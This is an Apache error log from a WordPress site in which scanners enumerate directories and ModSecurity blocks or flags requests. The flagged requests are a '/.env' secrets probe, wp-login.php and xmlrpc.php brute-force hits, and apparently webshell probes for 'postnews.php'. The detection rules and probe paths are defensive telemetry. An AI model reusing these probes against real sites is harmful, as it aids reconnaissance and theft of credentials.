[Thu Nov 13 07:27:07.551391 2025] [autoindex:error] [pid 22224:tid 22288] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:10.342851 2025] [autoindex:error] [pid 22224:tid 22290] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:12.690120 2025] [autoindex:error] [pid 22224:tid 22295] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:13.235039 2025] [autoindex:error] [pid 22224:tid 22280] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:13.721471 2025] [autoindex:error] [pid 22224:tid 22301] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:16.041219 2025] [autoindex:error] [pid 22224:tid 22302] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:16.518160 2025] [autoindex:error] [pid 22224:tid 22299] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:16.992526 2025] [autoindex:error] [pid 22224:tid 22289] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:17.520812 2025] [autoindex:error] [pid 22224:tid 22284] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:18.041652 2025] [autoindex:error] [pid 22224:tid 22287] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:03.810792 2025] [autoindex:error] [pid 22223:tid 22254] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:21.613489 2025] [autoindex:error] [pid 22223:tid 22253] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:28.377013 2025] [autoindex:error] [pid 22223:tid 22269] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:28.832635 2025] [autoindex:error] [pid 22223:tid 22274] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:33.642023 2025] [autoindex:error] [pid 22223:tid 22257] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:34.131092 2025] [autoindex:error] [pid 22223:tid 22260] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:34.602728 2025] [autoindex:error] [pid 22223:tid 22277] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:35.101228 2025] [autoindex:error] [pid 22223:tid 22272] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:35.553745 2025] [autoindex:error] [pid 22223:tid 22258] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:37.049313 2025] [autoindex:error] [pid 22223:tid 22276] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:37.496635 2025] [autoindex:error] [pid 22223:tid 22264] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:38.002950 2025] [autoindex:error] [pid 22223:tid 22270] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:38.495873 2025] [autoindex:error] [pid 22223:tid 22259] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:38.938453 2025] [autoindex:error] [pid 22223:tid 22267] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:28:53.049005 2025] [autoindex:error] [pid 22223:tid 22265] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:12.678199 2025] [autoindex:error] [pid 22223:tid 22275] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:13.123254 2025] [autoindex:error] [pid 22223:tid 22274] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:17.150342 2025] [autoindex:error] [pid 22223:tid 22270] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/maintenance/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:36.614441 2025] [autoindex:error] [pid 22223:tid 22271] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:40.477083 2025] [autoindex:error] [pid 22223:tid 22264] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:46.858928 2025] [autoindex:error] [pid 22223:tid 22255] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:48.985038 2025] [autoindex:error] [pid 22223:tid 22275] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:52.641166 2025] [autoindex:error] [pid 22223:tid 22265] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:54.795994 2025] [autoindex:error] [pid 22223:tid 22253] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:55.265588 2025] [autoindex:error] [pid 22223:tid 22262] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:57.299442 2025] [autoindex:error] [pid 22223:tid 22258] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:29:59.291899 2025] [autoindex:error] [pid 22223:tid 22275] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:01.552399 2025] [autoindex:error] [pid 22223:tid 22265] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:09.720318 2025] [autoindex:error] [pid 22223:tid 22265] [client 173.239.211.67:52387] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:22.421165 2025] [autoindex:error] [pid 34451:tid 34457] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:29.933519 2025] [autoindex:error] [pid 34451:tid 34457] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:31.843124 2025] [autoindex:error] [pid 34451:tid 34461] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:30:32.314645 2025] [autoindex:error] [pid 34451:tid 34453] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:31:28.396379 2025] [autoindex:error] [pid 34451:tid 34463] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:31:31.986576 2025] [autoindex:error] [pid 34451:tid 34470] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:31:58.716835 2025] [autoindex:error] [pid 34451:tid 34467] [client 63.135.161.130:28945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:35:44.857155 2025] [:error] [pid 22224:tid 22291] [client 85.203.36.156:57773] [client 85.203.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRUZ0LuEVuTj3a_UBfAjQQAAAIs"]
[Thu Nov 13 09:28:57.591214 2025] [:error] [pid 22307:tid 22328] [client 180.93.137.9:52406] [client 180.93.137.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 180.93.137.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRU0War7fLMQQanZ_9zAnQAAANM"]
[Thu Nov 13 09:29:16.848130 2025] [:error] [pid 22307:tid 22323] [client 180.93.137.9:55680] [client 180.93.137.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 180.93.137.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRU0bKr7fLMQQanZ_9zArgAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 10:07:07.623964 2025] [:error] [pid 53582:tid 53602] [client 58.49.233.126:45536] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRU9S0O75dc5VdqLq_6d_AAAAJI"]
[Thu Nov 13 12:18:31.584848 2025] [autoindex:error] [pid 62303:tid 62313] [client 157.173.101.17:60304] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Nov 13 12:48:27.567352 2025] [:error] [pid 62216:tid 62248] [client 31.97.205.201:47308] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRVjG-pyFB9M2aVQhwPX5QAAAAE"]
[Thu Nov 13 12:48:30.860844 2025] [:error] [pid 62216:tid 62264] [client 31.97.205.201:47308] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRVjHupyFB9M2aVQhwPX6AAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 12:54:39.496356 2025] [:error] [pid 62303:tid 62328] [client 106.219.89.63:17253] [client 106.219.89.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.89.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRVkj7-hlFTtVrZw8jB6KwAAAJU"]
[Thu Nov 13 13:11:58.926498 2025] [:error] [pid 6086:tid 6107] [client 216.24.219.235:27123] [client 216.24.219.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aRVonn9_6CRZzjZnAe2ztQAAARI"]
[Thu Nov 13 13:11:59.417936 2025] [:error] [pid 62303:tid 62311] [client 216.24.219.226:33713] [client 216.24.219.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "aRVon7-hlFTtVrZw8jB_wQAAAIQ"]
[Thu Nov 13 13:12:00.035106 2025] [:error] [pid 6086:tid 6089] [client 104.234.19.116:37349] [client 104.234.19.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "aRVooH9_6CRZzjZnAe2ztwAAAQA"]
